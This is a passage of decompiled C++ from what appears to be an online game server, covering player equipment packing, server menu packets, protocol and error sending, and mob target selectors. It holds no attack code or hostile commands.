*(_WORD *)(v5 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 45) = *(_WORD *)(v6 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 22) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 20) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 8) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 27) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 25) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 26) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 2) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 11) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 13) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 9) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 17) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 18) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 28) + 8); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73)) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74)) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) = *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))( *(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 75)) & 0xF; *((_DWORD *)v1 + 34861) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_briefequipset"); } //----- (005240C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 21); *(_WORD *)(*((_DWORD *)v1 + 8040) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 1) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 35) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 24) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 37) = *(_WORD *)(v3 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 39) = *(_WORD *)(v4 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 41) = *(_WORD *)(v2 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 43) = *(_WORD *)(v5 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 45) = *(_WORD *)(v6 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 22) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 20) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 8) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 27) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 25) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 26) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 2) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 11) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 13) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 9) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 17) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 18) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 28) + 8); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73)) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *(_BYTE *)(*((_DWORD *)v1 + 8040) + 73) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74)) & 0xF; *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) = *(_BYTE *)(*((_DWORD *)v1 + 8040) + 74) & 0xF | 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))( *(_DWORD *)(v4 + 112), v5); *(_BYTE *)(*((_DWORD *)v1 + 8040) + 75) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *(_BYTE *)(*((_DWORD *)v1 + 8040) + 75)) & 0xF; *((_DWORD *)v1 + 34861) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetRiding"); } //----- (005243E0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup(void *this) { void *v1; // edi@1 int v2; // ebp@1 int v3; // ST58_4@1 int v4; // ebx@1 int v5; // ST5C_4@1 int v6; // ST60_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 10); v3 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 12); v4 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 7); v5 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 19); v6 = (**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))((char *)v1 + 32312, 21); *(_WORD *)(*((_DWORD *)v1 + 8040) + 33) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 1) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 35) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 24) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 37) = *(_WORD *)(v3 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 39) = *(_WORD *)(v4 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 41) = *(_WORD *)(v2 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 43) = *(_WORD *)(v5 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 45) = *(_WORD *)(v6 + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 47) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 22) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 49) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 20) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 51) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 8) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 53) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 27) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 55) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 25) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 57) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 26) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 59) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 2) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 61) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 11) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 63) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 13) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 65) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 9) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 67) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 17) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 69) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 18) + 8); *(_WORD *)(*((_DWORD *)v1 + 8040) + 71) = *(_WORD *)((**((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 28) + 8); *((_BYTE *)v1 + 139544) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v2 + 112) + 44))(v2) ^ *((_BYTE *)v1 + 139544)) & 0xF; *((_BYTE *)v1 + 139544) = 16 * (*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v3 + 112) + 44))(v3) | *((_BYTE *)v1 + 139544) & 0xF; *((_BYTE *)v1 + 139545) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v4 + 112) + 44))(v4) ^ *((_BYTE *)v1 + 139545)) & 0xF; *((_BYTE *)v1 + 139545) = 16 * (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v4 + 112) + 44))( *(_DWORD *)(v4 + 112), v5) | *((_BYTE *)v1 + 139545) & 0xF; *((_BYTE *)v1 + 139546) ^= ((*(int (__stdcall **)(_DWORD))(**(_DWORD **)(v6 + 112) + 44))(v6) ^ *((_BYTE *)v1 + 139546)) & 0xF; *((_DWORD *)v1 + 34861) = 7; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_BriefEquipSetBackup"); } //----- (00524710) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuTitle(void *this, const char *title) { void *v2; // esi@1 char *v3; // ebp@1 char *v4; // edi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; v4 = gpp.pp_Buffer + 2; strncpy(gpp.pp_Buffer + 2, title, 0x80u); *(_WORD *)v3 = 15361; strncpy(v4, title, 0x80u); v4[141] = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)((char *)v2 + 68628)); *((_BYTE *)v2 + 23353) &= 0xFBu; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuTitle"); return v2; } //----- (005247F0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuItem(void *this, void (__thiscall *func)(ServerMenuFuncter *, #734 *, ServerMenuArgument *), const char *str, ServerMenuArgument *arg, CharModeClassifier allowMode) { void *v5; // edi@1 char v6; // cl@1 char *v7; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer[143]; v7 = gpp.pp_Buffer + 2; if ( (unsigned __int8)v6 < 0xAu ) { v7[33 * (unsigned __int8)v6 + 142] = v6; strncpy(&v7[33 * (unsigned __int8)v7[141] + 143], str, 0x20u); ServerMenuActor::sma_Regist((ServerMenuActor *)((char *)v5 + 68628), func, arg, allowMode); ++v7[141]; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem : Too many items", (unsigned __int8)v6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuItem"); return v5; } //----- (00524900) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(void *this, char priority, __int16 npcHandle, int npcPosition, __int16 limitRange) { void *v5; // esi@1 char *v6; // eax@1 int v7; // ecx@1 int v8; // edi@3 int v9; // edi@3 int v10; // eax@5 int v11; // eax@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = gpp.pp_Buffer + 2; *(_WORD *)(gpp.pp_Buffer + 131) = npcHandle; v7 = npcPosition; v6[128] = priority; if ( !npcPosition ) v7 = *(_DWORD *)((char *)v5 + 78); v8 = 33 * (unsigned __int8)v6[141]; *(_DWORD *)(v6 + 131) = *(_DWORD *)v7; *(_DWORD *)(v6 + 135) = *(_DWORD *)(v7 + 4); v9 = v8 + 144; *(_WORD *)(v6 + 139) = limitRange; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v9) ) { v10 = (*(int (__thiscall **)(void *))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v5, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen : Packet Too Long", v9); } v11 = *(_DWORD *)((char *)v5 + 78); *((_DWORD *)v5 + 17157) = *(_DWORD *)v11; *((_DWORD *)v5 + 17158) = *(_DWORD *)(v11 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ServerMenuOpen"); return v5; } //----- (00524A40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DummyFunction(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 DebugLogging *v5; // edi@5 _iobuf *v6; // eax@7 FunctionEntarance _; // [sp+Ch] [bp-54h]@1 char buf[64]; // [sp+10h] [bp-50h]@1 unsigned int v9; // [sp+50h] [bp-10h]@1 int v10; // [sp+5Ch] [bp-4h]@1 v4 = this; v9 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DummyFunction"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; sprintf(buf, "%d/%d"); AssertClass::ac_AssertFail(&shineassert, "Invalid protocol", buf); if ( DebugLogging::dl_ActivAll ) { if ( InvalidProtocolLog.dl_Activ ) { DebugLogging::dl_FilePoint(&InvalidProtocolLog); if ( InvalidProtocolLog.dl_FilePointer ) fprintf(InvalidProtocolLog.dl_FilePointer, "%d"); } } v5 = DebugLogging::operator<<(&InvalidProtocolLog, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } DebugLogging::operator<<(v5, &deb_LF); (*(void (__thiscall **)(void *, signed int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1520))(v4, 1670, 0, 0); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DummyFunction"); __security_check_cookie((unsigned int)&_ ^ v9); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00524BD0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobAggroManager::MobAggroManager(&this->targetlist); MobTargetBout::MobTargetBout(&v1->bout); MobTargetAggresive::MobTargetAggresive(&v1->aggresive); MobTargetNoBrain::MobTargetNoBrain(&v1->nobrain); MobTargetAggresive2::MobTargetAggresive2(&v1->aggresive2); MobTargetAggresive::MobTargetAggresive(&v1->aggresiveall.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::MobTargetAggresive(&v1->hasDisposition.baseclass_0); v1->hasDisposition.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetHasDisposition::_vftable_; MobTargetAggresive::MobTargetAggresive(&v1->aggresiveNoLevel.baseclass_0); v1->aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveNoLevel::_vftable_; } // 660E60: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // 660ED0: using guessed type int (__stdcall *MobTargetHasDisposition___vftable_)(int, int, int distancesquar); // 660F18: using guessed type int (__thiscall *MobTargetAggresiveNoLevel___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (00524CA0) -------------------------------------------------------- void __thiscall MobTacticElement::MobActionArgument::Selector::_Selector(MobTacticElement::MobActionArgument::Selector *this) { MobTacticElement::MobActionArgument::Selector *v1; // esi@1 v1 = this; MobTargetAggresive::_MobTargetAggresive(&this->aggresiveNoLevel.baseclass_0); MobTargetAggresive::_MobTargetAggresive(&v1->hasDisposition.baseclass_0); v1->aggresiveall.baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresiveALL::_vftable_; MobTargetAggresive::_MobTargetAggresive(&v1->aggresiveall.baseclass_0); MobTargetAggresive2::_MobTargetAggresive2(&v1->aggresive2); MobTargetBout::_MobTargetBout(&v1->nobrain); MobTargetAggresive::_MobTargetAggresive(&v1->aggresive); MobTargetBout::_MobTargetBout((MobTargetNoBrain *)&v1->bout); MobAggroManager::_MobAggroManager(&v1->targetlist); } // 660E60: using guessed type int (__thiscall *MobTargetAggresiveALL___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (00524D60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendProtocol(void *this, __int16 depart, __int16 command) { void *v3; // esi@1 int v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendProtocol"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = (depart << 10) ^ command & 0x3FF; ProtocolPacket::pp_SetPacketLen(&gpp, 2); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendProtocol"); } //----- (00524E30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendErrorCode(void *this, __int16 depart, __int16 command, __int16 err) { void *v4; // esi@1 int v5; // eax@3 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendErrorCode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S83_1 & 1) ) { _S83_1 |= 1u; errorpacket.pp_Buffer = 0; errorpacket.pp_PacketLength = 0; atexit(_E84_2); } errorpacket.pp_Buffer = errorbuffer; errorpacket.pp_BufferSize = 64; *(_WORD *)errorbuffer = (command ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF)) & 0x3FF ^ ((depart << 10) | *(_WORD *)errorbuffer & 0x3FF); *(_WORD *)&errorbuffer[2] = err; ProtocolPacket::pp_SetPacketLen(&errorpacket, 4); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v4, &errorpacket); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendErrorCode"); } //----- (00524F70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_allparametercalculate(void *this) { int v1; // esi@1 unsigned __int8 v2; // al@1 int v3; // eax@2 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_allparametercalculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(_BYTE *)(v1 + 32268) >> 2) & 0x1F; if ( v2 >= 0x20u ) v3 = (int)&charclassmanager; else v3 = (int)charclassmanager.ccm_array[v2]; *(_DWORD *)(v1 + 3856) = v3; Parameter::Container::c_Storepure((void *)(v1 + 3860), v3, v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 860))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 864))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 868))(v1); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 872))(v1); Parameter::Container::c_MakeTotal((void *)(v1 + 3860)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_allparametercalculate"); } //----- (00525070) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_BroadcastLogout(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_BroadcastLogout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_DWORD *)((char *)v1 + 98) ) ShineObjectClass::ShineObject::so_Logout(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_BroadcastLogout"); } //----- (00525110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_Disconnect(void *this, int reason, int when, int signal2WMS) { void *v4; // esi@1 char *v5; // edi@4 ZoneBaseSession *v6; // eax@6 unsigned int v7; // eax@7 char *v8; // eax@7 char *v9; // ST04_4@7 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 DebugLogging *v12; // edi@7 _iobuf *v13; // eax@9 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_Disconnect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_Disconnect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reason != 1665 ) AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_Disconnect", reason); if ( !signal2WMS 